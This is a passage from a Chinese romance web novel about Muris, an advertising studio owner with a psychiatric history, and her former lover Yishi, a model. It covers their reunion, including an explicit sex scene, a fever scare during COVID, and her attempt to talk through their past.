穆里斯宁愿他反抗而打落她几颗牙齿,好过无底纵容她残破不堪的侮辱。他要是多抽几支烟,就能明白爱她的最好方式是将露水情缘当地久天长那样过,然后回到露水情缘,仅此而已。他做到了前半部分,堪称完美,她的做作和紊乱没来得及发泄便隐居幕后,没有比这更皆大欢喜的局面了。可是,他偏偏用那么长的时间,只得到了一根细得能够轻易划破手指的绳子,绳子那头是她的脚踝,她每被风吹一下,他就要多一道伤口。 “我不能承受更多了。”穆里斯爬向半途而废,她没办法继续吞下去,甬道在某处变得极为狭窄,不知是由于她从未做过这种尝试还是什么,她发现钥匙和锁孔并不匹配,就像水的蓝色和冰的蓝色并非一种颜色。 伊实怀里一空,尚稀薄的暖气一哄而散。他痛恨片刻以片刻的方式被扼杀在摇篮里,全身竖起的毛孔在提醒他,禁锢,打磨,抛光,将美梦装裱,钉在墙上,永远地钉在墙上。 他霍地磴开半条腿,膝盖抵住穆里斯的髋部,粗暴地从后方按倒她的脖颈。 “Stay.”他的声音已没有了怜惜,“Youfreakydisaster!”愤意打在她的臀。尖,“凭你高兴办事,得意得很。”捞起她的腰,一只手掌便能掐住,“以为我会掉以轻心第二次?逗我玩儿也要有个限度,你是不是没做过风险评估?” 在夹缝里生存是穆里斯的老本事了,她吃了一嘴的头发,还能吐出骨头来:“你最好干死我,否则你百分之百要后悔。” 就报应来说这是远远不够的,需要加码。 伊实徘徊不进,反而更像一种下马威,“Yes,Iwill.FuckyoutotheHELL.” 是啊,干到地狱去才像样子。穆里斯重重地喘气,蛮荒无论怎样开垦也还是蛮荒,这时候抛下斧头,对着满手的茧忏悔已经来不及了。 “呃!” 万里高空被撞开的飞机舱门,气流急速往里滚,又急速往外扯。穆里斯哪怕穿了救生衣,从云层表面抓了一把柔软当作心理安慰,还是被这傲慢强势的攻势冲得眼冒金星。 她没想真死,地狱她会下的,可没想真死,起码看着自己中意的脸消亡啊!转生路上有个念想,来世清清白白地打招呼,约会表白睡觉也好,争吵和好如胶似漆也好,造化弄人再弄一回,起码让她今生彻彻底底地记住他的脸啊! 穆里斯音不成调,艰难地回头看,头发挡住了视线,只能看见模糊的影子。游乐场里的旋转木马,仰着头乘坐的时候,不出两秒就晕了。 伊实捏起她的脸,故技重施地用食指和中指刺探她口腔里的利器,好消息是它们没有变老,更好的好消息是它们咬折两根骨节不在话下。 他夹起她的舌头,俯下身低声耳语:“把你那不中用的求饶丢掉,这次就算你哭,我也不会买账了。” 哭?当然不,穆里斯连一颗音素都发不出来。多么可怜,寒蝉凄切。这怎么会是求饶呢?面对撒了满地的爱,她唯有狼吞虎咽罢了。 一座山镇一池水,暗念不停搅拌在沙尘里。伊实与她十指相扣,他能轻而易举地将易拉罐压扁,但是很抱歉,他不想再挨饿了。 “我们之中非要有一个人后悔的话,那一定是你。穆里斯,poorbrat,抬起头来。” 独白对观众而言向来是强买强卖的。 “从这一秒开始,啊,上一秒,更早的时刻,你就得开始后悔,‘为什么我没告诉他我要去哪儿’‘为什么我没回来找他’‘为什么……’,咬紧你的牙关,胆小鬼!‘为什么我忘记了他的脸’‘为什么我要装作什么事都没发生过’,所有这一切,你每一条都该后悔。” 船欲翻,桨欲断,本白色的手臂被反扣在背脊,穆里斯的全部神经绷成了一根,止不住痉挛。 “重复一遍,听见了没有?答案就摆在你面前,你只要重复一遍。” 伊实在马场当教练的时候可没有这么好脾气,一次次亲自演示什么的,高级会员也体验不到。 “你对我没信心吗?以至于你什么事都憋在肚子里。毋庸置疑,你比我想得还要复杂。还是我给你的太多了,你觉得沉重?离开的那天你哪怕有一秒钟的回头呢?一、秒、钟、的、回、头!” 牛排的一面烤得焦烂,他翻个面,继续煎。 “Consciousness?” 除了汩汩的水声,没有第二种调味品。 “看样子不在了。” 起初的伊实,拼命依据自己的意志打造出一个理想的世界,在母亲眼里他必须是独当一面的人物,在生父继父眼里必须是不可侵犯的人物,别的无所谓,都是他们的化身,触类旁通而已。他站在“某某某的支柱”的位置上,站了二十几年,直到母亲去世,他才意识到那个位置写的其实是“某某某是我的支柱”。 他觉得扭曲的人生观不影响喝酒不影响参加派对也就算了,可是他偏偏尝到无法自拔的苦,这时候想改已经来不及了。 “你说的没错。” 他深深吻住穆里斯的嘴唇,好多话通过舌语巨细靡遗地讲给她听。 “是,我有分离焦虑。” 穆里斯迷迷糊糊地勾住他的脖子,在梦里丢了不止七次道,晕头转向找不着北。 “貌似非常严重。” 伊实轻轻按压她的小腹,不知此举再次切断了她即将修复的导航。 “所以你怎么敢,和一个有分离焦虑的人,分离五年。” …… 被五马分尸后还能活下来的人能不能申请吉尼斯纪录。穆里斯诚心发问。 蓝牙从哪里开始断开的?不会连半小时也没坚持住吧?不管怎样,都算她命大。不来了,再也不来了。XX区YY街道,再也不来了。 只有那眼珠间或一轮,还可以表示她是个活物——天老爷,在这个年纪和祥林嫂共情未免也太暴殄天物了。 等等,她记得中途她醒来过一次,伊实抱她去洗澡,由于她还拿得动花洒,被下令“哦?醒了?麻烦你再晕过去吧”。世界上有一类人,他们的礼貌用语从来只用在阴阳怪气上。 穆里斯曾经在精神病院住院的时候,隔壁病房有个比她严重的病友,做了七次MECT,回来后看不懂电视也听不懂人的言语,还有他们这群人引以为傲的波频,俗称灵感,更是荡然无存。失忆的确能驱散痛苦,但能把人打回成细胞令其重新发育吗? 她对着白花花的天墙发呆。如果视昨晚为一种治疗手段的话,效果很好,大部分龃龉连同前因后果被消灭的一点儿也不剩。 可是她感觉空落落的,干嘛来着,什么来着,今夕是何年来着。 伊实从浴室里出来,看见的便是穆里斯干瞪着一双眼的呆滞模样。他走过去,用沾了水的指尖湿润她干裂的嘴唇。 “欢迎回来,MydearMuris。” 穆里斯瞥了他一眼,一张口发现嗓音格外粗哑:“什么东西在吵?” “不知道。”伊实看了看客厅,“你的手机吧,一大早就一直在叮咚。” 第49章 第49章我在外面的情债 穆里斯浑身上下跟地球的滚轮在上面碾了八百遭似的,该散架散架,该青紫青紫,就连动不动就想跳楼的心情此时也无法调动起什么有说法的东西。 “拿给我。”她从被窝里伸出一只手。 伊实先是亲了亲她的指尖,他喜欢钻这点空子,熬汤的过程里每隔十分钟就要加一勺盐的固执己见者。然后爬上床躺下,头枕在穆里斯的小腹上。 “再这样待一会儿。”他说。 穆里斯一巴掌拍在伊实的侧脸,虽然没多少生物学上的力气,但在物理学上重力加速度可不是盖的。 “快点,拿给我。” 伊实眼色一沉,连人带被卷进怀里,抱向 客厅,边走边为自己正名:“The‘KissorSlap’game,myanswerisalwayskiss.Keepitinmind.” “ButIonlyhaveslapinmyhand.”穆里斯高兴自己那股机灵劲儿没被送去地狱。 伊实坐上沙发也没有要松开怀抱的意思,怎么操纵游乐城的娃娃机,就怎么操纵穆里斯的爪子。 穆里斯捞起公文包,掏出不停震动的手机,工作室群消息爆炸,满屏解说老板早上没来上班的原因是地球需要被拯救还是被毁灭,当然这要看她在员工的心目中是救世主还是反派。不管是哪种,十几个未接来电足够说明他们担心她好好一个人昨天还在汇报战绩,今天就搞失联,必有妖风发作。 她发送一条报平安的文字,全工作室便拥了上来,上苍逛到北半球莫名其妙被感谢了一通。 阿吉打来电话。 “谢天谢地!你还好吗?” “……”愧疚在心里发芽,穆里斯搓揉着声线回道:“嗯,我没事,让你们担心了,下午三点的会议照常。” “会议是次要的,你真的没事吗?发生了什么事?” 以往感到提不起劲,事事暗淡无光的时刻,穆里斯总会在群里发个预告,避免伤及无辜。少有工作日抛下江山不管单子不做,在外是死是活没个全尸,叫人放不下心,不怪阿吉要这样问。江山是穆里斯的骨头,就算她再怎么崩塌,最后也要有骨头撑着。 昨夜的颠鸾倒凤不知天地为何物实在难以启齿,穆里斯不知从何讲起,借口更是一张白纸,故而对身后之人的怨念不断上涨。 “我只是,身体不太舒服,睡得比较迟而已,你们别担心啊……” 伊实见穆里斯一脸苦相,弓着背,脊柱顶端突出来的两块骨头秋风瑟瑟,他有独家的安慰方式。那就是和那两块骨头湿。吻。 “嗯……”穆里斯眼疾手快捂住嘴巴,掩耳盗铃地咳嗽:“咳咳!我没事,真没事,可能染了感冒。” 感冒不停与她耳鬓厮磨。 阿吉惨兮兮地啊了一声:“别是发烧了!实在不舒服的话,要不你今天休息一天吧?” “不用,等会儿我就来了,你们先干活。”穆里斯朝背后用力肘击,捶在伊实的胸膛上,大石碎不了,小心肝倒可以一破,“先挂了啊,我马上来。” 她转过身,直瞪瞪地看着他,兴师问罪:“好玩吗?” 伊实耸耸肩:“原谅我吧,我还没吃早午饭呢。” “你差点让我颜面扫地!” “那种事你已经做了,布鲁克不信我能找到你。” “布鲁克……”耳熟的名字让穆里斯反应了一会儿。 “好样的,他也被你忘掉了。世界上有座城市叫罗弗敦可还有印象?”伊实把脸凑近,“经过昨晚想起什么来了吗?比如你习惯趴在我身上呼噜呼噜,还——” “停。”穆里斯堵住耳朵,“放开我,我要去工作了。” 他撇撇嘴:“真怀念我们都没有工作的日子。” 伊实贴心地把人抱回卧室,捡起一片片花瓣,也就是她的衣服,贴上加贴地提议:“我帮你穿。” 穆里斯夺过内。衣,拒绝:“不劳烦。”说罢她打了个喷嚏,起一身鸡皮疙瘩。 快入冬的南方室内即使开了空调也还是得让人抖搂两下。她穿好衣裤,反而冒出几滴汗,腰酸背痛暗忖有谁来评评理。 烤面包的香气在屋内飘荡,穆里斯没打招呼,径直走向玄关。伊实在厨房叼着半片面包,切着午餐肉,忽地听见大门撞上的声响,放下刀冲出来,什么都没抓住。 妈的,光幻想穆里斯有一天突然出现在他床上远远不够,比起安全。套,家里多一支牙刷多一副碗筷的话,她是不是能待得更久一点?以及沙发,换掉粗糙坚硬的材质,找来最柔软舒适的款式。还有,花费大把积蓄铺个地暖,有什么不可以的?只要她能在这待得更久一点。 关键时期比皇帝姓名更加需要避讳的是公众场合的喷嚏,嘲笑草木皆兵的那部分人听见喷嚏声也会下意识地退避三舍。穆里斯在地铁连打三个喷嚏后彻底感受到了横眉冷对千夫指。 她回到公寓第一件事便是换身衣裳,酒精消毒,刷牙洗脸囫囵吞枣地解决午饭,然后到楼下社区捅喉咙测核酸。也不知道是谁给她上的发条,等她回过神,一个品德优良作风精干的公民应该做的事情她都做完了。 何谓同质化,这就是同质化。她比周围人更早一步接受与疫情共生的理念,因为她已经和另一个缠人的妖精共生了十年之久,知道如何应对暗无天日的时光,也做好了天妒英才被夺走智慧灵气乃至生命的准备。而她仍有恍惚的权利,作为社会中渺小的个体,在川流不息之间仍有愣住的权利,没人怪她,每个人都一样。 穆里斯赶上工作室的会议,把Y品牌的理念和要求一一下发和讲解,敲定方案的刹那她谈不上满意,换一种方式说,她没法满意,情感的空缺使她暂时没法做出合理的判断。 要她说啊,人人都该养一只新闻联播在家里,好的坏的定时播报,不会有想不开的想不明白的。 夜晚的车铃刹在灯火阑珊处。穆里斯自愿加班,怀揣在外偷。情而忽略了正房的愧意。离异的单亲妈妈陪着她一起,阿吉的心思总是这么细腻,难道是刻苦研读育儿真经之后的后遗症?无从知晓。 “宝啊,”称呼方式都变了,后遗症的嫌疑大大提升,“你是不是又陷入完美主义了?”阿吉泡了一杯连花清瘟,放在穆里斯的桌上。 “不,另一个大坑,虚无主义。”穆里斯道谢,啜了一小口,继续说道:“我很能体会路上一粒小石子的心情,很奇怪吧,它连有机物都不是。我时不时会觉得,被埋没才是一种常态,被掩盖才是一种真相,我们做的东西,老实讲没什么特别的,交给大公司做没准更华丽更优秀,只不过我们便宜,就像福利彩票店里十五块钱一张的彩票,中了,真走运,没中,也就浪费十五块而已。” 她也一样,两只眼睛一张嘴,人生简历查重率百分之九十七,另外的百分之三也不见得是好东西。被坚定地选择和被强烈地期待对她来说是否过于隆重了,有谁会一直踢同一粒石子不间断地走,几乎没有。 阿吉双手托着下巴,轻叹气:“我要是有你开导我时的口才,现在也不至于一句话说不出来了。” 穆里斯摇摇头:“我没想被开导,我也明确知道这种丧气的心态不利于工作,但我没办法控制,就是,我看到的我听到的,经过我的大脑过滤之后,出来的就是这么一坨东西。”她尽量用开玩笑的语气,“我能心平气和地讲出来,说明我不是便秘。” 阿吉被逗笑,她在这方面向来很捧场,“还说不特别,谁会用这种比喻。” “某人就会。”穆里斯的眼神失焦,联想到踢石子的人。他不仅爱用烂俗的比喻,还喜欢在各种伤口上撒盐。 “谁啊?” 穆里斯眨眨眼收回神思,“没谁。” 阿吉又关照了几句穆里斯的身体,站起来将她的脑袋轻轻抱进怀里,哪怕这位小老板说过双性恋可是对女性身。体也会产生反应的完全变态发育体,千万别做什么越界的举动,否则职场性。骚扰保不齐发生在她们之中。 假的,这话阿吉一听就知道是假的,穆里斯只是不习惯亲昵,故意吓唬人的。小老板那么好,上天对她要好一些啊。 “想到了!”阿吉嘿嘿一笑,“你以前说过的话,我可以拿来用吧?” “我说什么了?”穆里斯从温暖的怀抱中抬起头看她。 “你说,之所以选择广告行业,这么一个行走在各式各样的牙缝里的行业,是因为你有东西想传达。对吧?就是你说的。”阿吉尽可能还原穆里斯的口气和表达,“你还说,广告广告广而告之,你的灵感啊认知啊,甚至你的诉求,都可以装进一则广告里。” 穆里斯故作思考:“我说的吗?不是鲁迅说的吗?” “哈哈。”阿吉又被逗笑。 “好吧,我说的。谢谢你阿吉。”穆里斯抱住她。 手机铃声响起,穆里斯在桌上一顿摸索,一时半会儿不想离开温柔乡,瞎着眼点了接通和免提。 “穆里斯,穆里斯,我又喝醉了,来接——嘟,嘟,嘟……” 阿吉尴尬地抠抠人中,她考过英语四六级,具有一定的鸟语素养,但还是明知故问道:“讲的什么玩意儿?谁啊?” 穆里斯连续摁挂不知羞耻的电话,说:“我在外面的情债。” “哇塞……” 第50章 第50章她说过爱你吗? 闷闷不乐将冰块咬得咿呀作响,什么融化什么稀释进了胃里自然能搅和在一起。另一面,急不可耐正在屡屡吃闭门羹,顽强且叮当不息。 “狗屎。”伊实掩面骂道,他马上就能想出第二个借口了,比如迷了路丢了钱包或者“嘿女士二次服务有优惠要不要考虑一下”这种皮条客发言,都没来得及试,穆里斯竟然拉黑了他的号码。 酒保送来第三杯鸡尾酒,伊实小啜一口,然后捻下尼格罗尼上的橙皮放入口中嚼。 坐在他旁边的是弗利康,在中国呆了十年之久的黑人一位,皮肤黝黑发亮,身材精瘦,比伊实更早成为一名模特,潮牌和墨镜是他的杀手锏,即便本人并不喜欢,甚至某天擅自剪掉了公司设定的脏辫,嫁祸于酒精,丢了几个单子写了几张保证书后老实了许多。他会说流利的中文,不过成语水平和比喻技巧不怎么样。 弗利康职业生涯接的第一个西装T台秀是给放鸽子的伊实当替补,十分过瘾。让他惊讶的是,伊实不在乎丢单子没钱赚,保证书一个字都不可能写,看上去一脸明天就不在这干的桀骜,经纪人的警告他充耳不闻——好吧,漂亮家伙的确有资本得意忘形成他这样。 然而这个漂亮家伙现在为了挽回一个女人,正深深发愁呢。 “兄弟,我理解不了,兄弟,中国有句老话:‘别在一棵树上吊死’,意思是不能总犯同一个错误,你何必呢。”弗利康说,神不知鬼不觉地卖弄普通话。 “错误?不,她不是错误。”伊实沉吟片刻,缓缓补充道:“是必需品。” 弗利康唏嘘:“看不出来,你这么深情。” 这时酒吧的舞台上换了一批乐队,从Funk到Blues,从灯红到酒绿。弗利康环顾四周,指向吧台方向。 “你看那边的女孩,你的那位——穆里斯,和她比起来,怎么样?” 伊实低头盯着手机屏幕,不理会。 eon,man!”弗利康迫切地点醒他。 “我想到了。”伊实朝他摊开一只手,“给我你的手机。” “什么?” “别废话了,我想她想得快疯了。” 弗利康眼珠子一突,从兜里掏出手机给他,没敢泼冷水。 “是我。”伊实拨通电话,紧接着:“别挂。” “……” “我不搞那些障眼法了,你别挂,然后高抬贵手,把我从黑名单里放出来。” “……” “放出来了吗?” “给我点时间。”穆里斯终于开口说话。 “当然,没问题。”伊实用脚打拍子,抢了台上乐队鼓手的拍,过了几秒,又问:“放出来了吗?” 穆里斯走在下班的路上,月光皎洁宁静,听筒里的音乐十分遥远,她说:“你知道我的意思,伊实,少装傻。” “当然,没问题。”伊实还是同样的说辞,“但我们还可以见面,是吧?” “……”走不完的沉默。 伊实呼唤:“Boss?” “你能保证和我见面之后,只谈工作上的事吗?”穆里斯问。 “让我想想。”伊实权衡利弊完发现只有弊没有利,怎样他都不痛快,没辙只好顺着她说:“成交。” 挂了电话,伊实肉眼可见变得秋高气爽,再过几天H市就要入冬了,秋的最后一点善意和温和都跑到了他这里。 弗利康原本低人一等的自尊心在看到伊实被一个女人耍的团团转之后奇迹般地好转,出于尊敬和回报,他坚持不懈地劝告着:“没准她不会回头,你想过没有?” “闭嘴,她拒绝不了我。”伊实说。母语主谓颠倒的习惯给了他很大的发挥空间,听语气他分明说的是“我不会被拒绝掉”,掉了还会再飞上来。 弗利康自认为更了解中国女人,有必要给兄弟上一课:“她说过爱你吗?” “肯定的。” “当面亲口说?” 伊实喝进一口酒,在口腔里打转后吞下,看向弗利康:“你不懂。那时我们亲密无间,从早到晚黏在一块,一个眼神就知道对方要什么,谁对谁更着迷根本分不出个高下,她几乎寄生在我身上。” 弗利康仿佛看见了草原上的牧羊人,和羊。他重复问道:“那她当面、亲口说了她爱你吗?” 伊实眯眼皱眉:“老弟,你谈过恋爱没有?” “光中国女孩就有五个。”弗利康比手势,“她们有的十分动摇,有的十分坚定,如果一直到最后都没说过‘我爱你’这一句中国话,说明她一开始就不重视你。” 伊实点头,并非认可,而是破了案:“鉴于你失败的感情经历,从你嘴巴里蹦出来的任何一个单词我都可以不听。” “What?!”弗利康差点破音,往椅子上一靠双手一摊:“好好好,你继续追吧!我赌三百块,她不会回头!” 回头是一种转折,转折是一种否定,既然没有否定,何来回头这么难听的说法。伊实想捕捉的不仅仅是一瞬间的欢愉,他要穆里斯的时钟永不落灰。 即使,没错,她从未当面、亲口,说过爱他。唯一一次明朗的表白,是她离开的代名词。 若谈耐心,他有足够的耐心,又好像没那么多,黑暗里独自一人的震颤绝非气馁,一想到她无时无刻不在逃离,他便控制不住地要挤占她的全部,呼吸也好,念头也好,咽进肚子里的话语也好,全部——那是急迫,阴暗的急迫。 …… 摄影棚银白色的背景板和炽热的灯光架长了一模一样的皱纹,它们是孪生的,从MurisStudio满月起便一直延用至今。 穆里斯连续做了三个晚上的噩梦,那是一个双手无法穿透的地方,不然逮捕后丢进碎纸机里,她也不用时常惊出一身冷汗。来摄影棚前,她在两边的太阳穴上点涂了清凉油,以防两眼一黑闹出笑话。 工作人员和设备仍在准备当中,模特换好了衣服等待化妆。穆里斯从后门溜进来和吕成汇合,一眼看见化妆镜前那座挺拔的背影,下意识将鸭舌帽压得更低,口罩焊死在脸上。 “你不热吗?这里全是绿码,一大早阿姨也来消毒了,你把口罩摘了吧。”吕成说。 穆里斯摇头:“无碍。”没有自制力的人还是戴上面具为好。 模特经纪人李过来确认档期, 所有西服款式的拍摄都将在一天之内完成,如果后续有补拍的情况提前两天联系他约时间。穆里斯瞥见李手中满满当当的表格,皮薄馅多,看一眼就要饱了。 “他很忙嘛。”她小声感叹。 李打哈哈:“是的,他非常抢手,我手下的大明星。” 钱能不外流就不外流,模特化妆师和工作室老板是同一位,人手不够的日子她也充当摄影师。穆里斯斜挎着工具包走过去,心想大明星没有大明星的自觉,一天给她发八百条消息。 “久等了。”穆里斯客套一句,埋头摆工具,避免一切eyecontact。 “你真要这么说的话,那可太久了。”伊实用脚勾起椅子腿往她身旁挪,双手抱胸。 毛子耍起了大牌,脸上写满守株待兔,穆里斯的粉饼都不知道从哪里下手。她想说等太久干脆别等了,罪孽深重已经饱和了就别再往上算平方了,地球快爆炸了。 除了一点岁月的细纹,伊实这张值钱的骨相不需要添加更多的修饰。他乖乖仰着头让穆里斯描绘他的眉毛,扑粉,勾线。然后他的眼神同步描绘她的手腕,下巴,脖子。 宇宙起源于一场大爆炸的话,原子和原子的纠缠便无处不在。 “我不知道你还有这门手艺。”伊实说,“你从不化妆,在我面前。” “你不知道的还有很多。”穆里斯用刷子蘸取阴影粉,大力刷在他的下颚线,“你没了解过完全的我,就别耍大牌了。” “是这样吗?我在耍大牌?” 穆里斯举起浅色口红,“别说话。” 在伊实眼里,穆里斯早就是非比寻常的存在了,他承认此刻他有点儿鬼迷心窍的意向,想听她说更多的俏皮话。 “抿一下。”穆里斯说,用的sip一词。 在场可没什么饮品,伊实反问:“什么意思?” “用你的下嘴唇猛击你的上嘴唇。” “不懂。” 穆里斯恪尽职守地亲自示范,伊实抬手摘下她的口罩,霎时间桃花花瓣撒了一地,成熟了有一阵子。 凛冽的蓝眼睛也有亮晶晶的时刻,伊实笑得很明朗:“懂了。” 穆里斯推他赶快去拍摄,按时长收费的烫手山芋必须速战速决! 在三百六十度的镜头下伊实还能挤出一度来开小差,暗自回味她红着脸竖着耳朵的画面,恨不得买三千块铭牌把他们的名字永远刻在一起。穆里斯,穆里斯,独当一面的穆里斯,性感特别的穆里斯,粉红色的穆里斯。 勤快地拍摄好一组照片,伊实中场去换第二套西服。穆里斯查看电脑里的原片,心不在焉地滚动,在视网膜前走过场。 穆里斯站在桥上看风景,看风景的吕成在楼上看她,寻思半晌,将手背贴上她的脸颊。 “你脸怎么这么烫?发烧了啊?” 穆里斯迅速一躲,摸了摸脸,真的烤焦了,她不由得皱眉:“不知道,我出门前体温是正常的。” 吕成还想往她额头上测温,西装革履的模特竟走过来一把提起穆里斯的腰,在她两边脸蛋各自重重地亲了一口。 “?” “?” 伊实皮笑肉不笑:“Bonjour.” 50-60 第51章 第51章就这样殉情吧 当法国特产像一辆坦克向吕成开来时,他连忙摆手拒绝了,上个班不能把清白都搭进去。他没点破模特蹩脚的借口,有很多想问的也选择闭口不言,因为下一秒穆里斯无奈又包容的动作,就是答案了。 “行了。”穆里斯拉住伊实的胳膊,把人拽回来,“快去拍摄。” 伊实旁若无人地轻拍她的后脑勺,就好像无数个清晨起床后做的第一件事那样熟练,留下一句“下班后等我”便切换到了工作模式。 摄影棚里的人又和乐高小人奔赴一场冒险一样运转了起来。穆里斯大打呵欠,坐在露营椅上昏昏欲睡,默认了几双八卦的眼神,回敬以“是的我们有一腿但我没精力解释你最好别问”的疲垮微笑。 直至意识到已有的知识储备竟然不足以支持她数清人有几根手指头,摄影灯突破了光的极限留下几块青斑,还有沉重的眼睫毛掉进眼睛里,怎么揉也揉不出来的时候,穆里斯暗想大事不妙,她十有八九是发烧了。 首先刺激到神经的不是没有力气去医院该怎么办,而是万一染上新冠就要连累这儿的所有人,她担待不起。背后的虚汗不断发潮,穆里斯戴上口罩,给不远处的吕成发短信。 Muris:「还有一组就结束了是不是?」 吕成:「没,已经结束了,现在在拍备用的。」 Muris:「不用拍了,让大伙收工吧,戴好口罩,你组织一下,去最近的站点测核酸。」 吕成:「怎么了,这么突然?」 穆里斯的指尖微微颤抖,她惧怕成为他人的负担。 Muris:「我发烧了。」 四个字不够体现她不怕一万就怕万一的绝望,藏在背后的是密密麻麻不可解语的心声,比如夜晚的孤独回流,又把一副好牌打得稀巴烂。 吕成抬起头看过来,目光担忧,短信中安慰道:「不会的,可能只是这几天气温骤降你受寒了而已,我们区近三个月零感染呢。」 与其说出于一种礼貌,不如说穆里斯因紧张过度而低声下气地乞求:「拜托了,去说一声吧。」 她穿上羽绒服外套,黑色鸭舌帽又成了此地无银三百两的牌匾,她忍受着头晕目眩站起身,工具也不要了,只想尽快离开这个地方。 距离门口一步之遥,穆里斯被一股巨大的力量扯了回去,随后她倒在一片温床之上,重心没有支点却有了着落。 “出了什么问题?”伊实扶起她的身子,手心贴在她的额头上,说:“你果然是发烧了,对吗?” 穆里斯忘了抬头对着他的眼睛说话,她垂头丧气,没准吐出来的全是氧气而错把二氧化碳转化为至幻物吸收了。她推开伊实,闷闷道:“是,我发烧了,离我远点。” “开什么玩笑?你刚刚差点倒在地上。”伊实挽过她的肩膀,不容分说地把人押回椅子上。他蹲下来,贴身的西裤不适合做这个动作,皮鞋也会因此产生褶皱,但他无需对此负责。他双手捧起穆里斯的脸颊,叮嘱道:“等我一会儿,五分钟,行吗?” 穆里斯沉默不语。伊实正要喊经纪人过来,她出声制止:“我等,你不要麻烦别人了。” 靠谱的吕成领一众工作人员到楼下街角的核酸亭检测,实时汇报进程,穆里斯不知如何感谢,只能在年终奖上夸下海口。 精神疾病从某种角度来说算得上半个免疫病,抵抗生物病毒和防御外界社交创伤用的是同一套免疫系统,后者挤占前者时,俗称免疫失调。如今更像是一种恶性循环,欠债人的拆东墙补西墙。等待的时间里,穆里斯又从头到尾将自己哀伤了一遍。 伊实的常服在更衣室里放凉了,就算如此也裹不住他的急躁,他再次蹲下来。 “觉得恶心吗?或者其他症状?走,我们去医院。” 穆里斯无端苦笑:“你亲了我两次,不怕被传染吗?” 答复是第三次亲吻,只隔了一层口罩。 伊实背起穆里斯,“我要是怕这个,两年前的冬天我就会放弃了。” 不是特效也不是午夜梦境,是真实的后背,穆里斯太想喝咖啡喝动力饮料哪怕鸡血也行,打起精神来,好好回味,重新记住伊实的后背。然而她软趴趴地附在他的肩膀上,想的净是些恶毒的念头,比如:就这样殉情吧。 “就这样殉情吧。”伊实说。 鸡血以言语的方式打在穆里斯的耳朵里,她一惊:“你说什么啊?我才不会死。” 伊实轻笑:“是的,你不会死,我也不会,不过医生会把体温计插进你的屁股里,那个时候你说不定会有这个想法。” “你去死吧。”穆里斯埋进蓬松的羽绒服里。 “一样,我才不会死,我必须监督除我之外的人动你的屁股。” “早就不用那种测温方法了。” “是吗?世界发展这么快吗?” “维京人。” “算了吧,我不驯龙,顶多驯些马啊狗啊,猫什么的。” “我很困。” “那我可要插。你屁股了。” “伊实。”穆里斯被放进副驾座的一刻终于敢于直视那一对幽蓝,她坦言道:“I‘mawalkingdisaster.” 伊实摘下她的帽子,宽大的手掌和五指往后梳理她静电的头发,说:“美国人一般把这叫做superhero,谁知道呢。 ” 医院急诊冷冰冰的走廊宛若北欧峡湾入夜前的蓝调,再加上嗅觉系统和情感中枢勾结,纠缠在穆里斯周围的威胁顷刻间消失了,她感到安全,不再为此紧张和焦虑。 就在挂号,缴费,问诊,抽血,检测,拿报告,万幸只是普通的风寒感冒,回诊,取药,这一系列楼上楼下跑东跑西就连眨眼也需要源源不断供氧的过程中,穆里斯下定决心,她要和伊实好好谈一谈。 伊实在手机上搜索附近能大吃一顿的地方,美其名曰让退烧药快速见效,夺回身体主导权,至于医生口中好消化的粥,和舞台道具一样徒有其表。 “别搜了。”穆里斯说。 “怎么?你没胃口吗?” “去我家吧。” “等等,”伊实用手机一角抬起她的下巴,四目相对,问:“你刚刚说什么?” “去我家吃饭。” “只是吃饭?” “只是吃饭。” 伊实笑起来:“好,带我回家吧。” 虽说如此,穆里斯实际上已经没有多余的精力再在灶台上大显身手了,只好点外卖,寒碜的招待。 这个房子穆里斯租了快四年,没有明确的一室一厅界限,进门一眼便能望到头。空间说大不大,但住她一个女生绰绰有余。两米的床,枕头也是双人份,怎么看她都算富足。床的旁边有个小沙发,能胳膊挨着胳膊坐三人,不过伊实那样的只能坐两个。飘窗被她用来晾衣服和堆杂物,本是个装饰性场所,她凭借懒惰打发了事。今年跟左右上下邻居的风,新装了暖气片,这个冬天不必再和厚棉被有所较量了,那玩意儿总让她喘不过气。 五脏俱全的屋子在伊实走进来的那一刻变得十分逼仄,他看向天花板,伸手跃跃欲试。 “住手,我知道这地方对你来说很小。”穆里斯制止道。她把外卖和药搁茶几上,随后往沙发上一躺,“你先吃吧,我等退烧了再吃。” 沙发上没有多余的位置,伊实沉思半晌,根本难不倒他。他盘腿坐在地上,哪怕如此,想要亲吻穆里斯他仍需要弯个腰。 “我不吃独食,穆里斯,等你睡一觉醒来。”他说。 穆里斯神色鄙夷:“是我烧糊涂了吗?好久以前你说要把正在发高烧的我丢给警察。” 沦陷之前的零星记忆伊实抛得一干二净,此时并不是在装傻:“那是我?” “对,你很凶。” “有多凶?” “你,讨人厌,你不讲理。” 伊实耸耸肩:“好了,忘掉那家伙吧。” 穆里斯的困意落在了医院,现在清醒无比,只是累和虚,以及迫切期望退了烧以后大脑恢复思考能力的心情,否则她没法承担最终的结果。 “你变了很多,伊实。”她说,“我也变了很多。” 伊实一边拆外卖袋子,一边说:“当然,你找到了你喜爱的工作,看样子做得还不错,我是说,很好。我早发现了你学东西很快,你在任何领域都有天赋,不是夸张,也不是为了让你对我的印象好一点才这样讲——可能有一点,但不多……该死,都怪昨天李给我转发孔雀求偶的解说视频,现在我脑子里净是那破东西!” 他打开盖子,粥的味道飘香四溢,随便吧,收回之前对它的诽谤,卤肉饭看着也不错。 “吃点?我好好伺候你。”伊实将一勺粥送到穆里斯的嘴边。 “我不是那个意思。”穆里斯放任那一口粥凉掉。 侧躺似乎更容易掉眼泪,她努力忍住,瞳膜一会儿清晰一会儿模糊,终究没掉下来,她进步了不少。 “我的意思是,你本就该那样,讨人厌,不讲理,你本就该那样,那才是伊实。” 第52章 第52章来爱我吧,专注地,爱我…… 无力和无助是全然不同的两码事。跑去北欧群岛死无其所那是无助,生还之后讲起那段经历属于无力。泰坦尼克号沉入海底是无助,女主角晚年的回忆是无力。 倒不至于悲壮得如此唯美——穆里斯慢吞吞地脱下外套,聚拢长发披在左肩,随后继续侧躺在沙发上,两只手压在枕头下面,双腿微曲,这是她最喜欢的躺姿,仿佛肚脐眼还连着脐带——只是告别和告白仅一字之差,心乱如麻的程度却不分上下。 伊实静静等待她的下文。他面对的是用黄土青砖砌成的城墙,而非可燃的草堆。 “我总想起你,按照时间的逆流往过去想,在我们认识以前,你似乎不爱被人打扰,只有你打扰别人的份,我没猜错吧?不怕你嘲笑,我忘了很多事,许多细节模糊不清,你在我的脑袋里早就只是一团看不见摸不着的概念了。请你先保持沉默,否则我就会变成沉默的那个,你我都明白。” 伊实用手掌干搓了把脸,自言自语:“God,这对心脏真的不好。” 